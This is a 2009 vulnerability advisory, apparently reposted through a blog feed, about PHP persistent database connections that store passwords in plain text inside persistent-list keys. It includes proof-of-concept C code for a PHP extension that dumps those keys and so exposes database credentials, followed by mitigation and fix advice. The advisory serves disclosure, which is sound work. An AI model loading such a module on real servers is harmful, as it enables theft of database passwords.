Quantcast
Channel: François Harvey » vulnerability
Viewing all articles
Browse latest Browse all 2

PHP – Persistent Database Password

$
0
0

Is storing password in clear text inside a hash is a vulnerability or not ? To me, yes it’s a unsecure design bug and it should be fixed. But others think that untrusted binary extension shouldn’t run anyways and if a bad guys inject a rogue extensions, it’s already game over. So… here it’s. Persistent database password dump proof of concept.


Advisory: Persistent password accessible by rogue extensions
Release Date: 2009/11/17
Last Modified: 2009/11/17
Author: Francois Harvey (contact at francoisharvey dot ca)
Application: PHP4, PHP5, PHP-DEV
Severity: Persistent password can be disclosed
Risk: Low ( you need to inject binary code anyways…)
Vendor Status: notified 12 november 2009

Overview:PHP is a widely-used general-purpose scripting language that is especially suited for Web development. PHP allow persistent database connnection.

Details: When persistent database connection is used, PHP stores the needed details in a persistent list. This list is not « hashed » and information is stored in plain text. For sample here are some hashed details for well known db engine :

./ext/msql/php_msql.c: hashed_details_length = spprintf(&hashed_details, 0, "msql_%s",Z_STRVAL_P(yyhost));

./ext/odbc/php_odbc.c: hashed_len = spprintf(&hashed_details, 0, "%s_%s_%s_%s_%d", ODBC_TYPE, db, uid, pwd, cur_opt);

./ext/mssql/php_mssql.c: hashed_details_length = spprintf(&hashed_details,0,"mssql_%s_%s_%s",Z_STRVAL_PP(yyhost),Z_STRVAL_PP(yyuser),Z_STRVAL_PP(yypasswd));

./ext/mysql/php_mysql.c: hashed_details_length = spprintf(&hashed_details, 0, "mysql_%s_%s_%s_%ld", SAFE_STRING(host_and_port), SAFE_STRING(user), SAFE_STRING(passwd), client_flags);

So the passwords are embedded within the clear text hash… It’s possible to code a php module that will access the persistent_list and dump the clear text hash.

Exploit Code:


// POC - Show Persistent List - (C) Francois Harvey
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif

#include "php.h"
#include "zend_globals.h"

#include "php_persistent.h"


static function_entry persistent_functions[] = {
   PHP_FE(show_persistent, NULL)
   {NULL, NULL, NULL}
};

zend_module_entry persistent_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
   STANDARD_MODULE_HEADER,
#endif
   PHP_PERSISTENT_EXTNAME,
   persistent_functions,
   NULL,
   NULL,
   NULL,
   NULL,
   NULL,
#if ZEND_MODULE_API_NO >= 20010901
   PHP_PERSISTENT_VERSION,
#endif
   STANDARD_MODULE_PROPERTIES
};

//#ifdef COMPILE_DL_PERSISTENT
ZEND_GET_MODULE(persistent)
//#endif

PHP_FUNCTION(show_persistent)
{
  php_printf("------------------------------n");
  php_printf(" Current Peristent List PoC   n");
  php_printf(" (C) 2009 Francois Harvey     n");
  php_printf("          http://francoisharvey.ca n");
  php_printf("------------------------------n");


  Bucket *p;
  uint i;

  HashTable *pl = &EG(persistent_list);

  for (i = 0; i nTableSize; i++) {
     p = pl->arBuckets[i];
     while (p != NULL) {
        php_printf("%d : %sn", i, p->arKey);
        p = p->pNext;
     }
  }
  php_printf("---------------------------n");

  RETURN_STRING("", 1);
}

This PoC coded and loaded as a module will dump the persistent list when used (module should be loaded first with dl() or php.ini) in php as

show_persistent();

Mitigation: Module inclusion in runtime is currently possible but more limited than from the past and from 5.2.5 needs to be stored in a specific folder. Limiting the scope of this attack.

Solution:The quick answer is : no persistent connect or dont run untrusted extensions. But the real one is to hash (md5 or sha1) before stored inside the persistent_list (and not strcat the password…), but this patch should be applied to each individual extensions.


Viewing all articles
Browse latest Browse all 2

Latest Images





Latest Images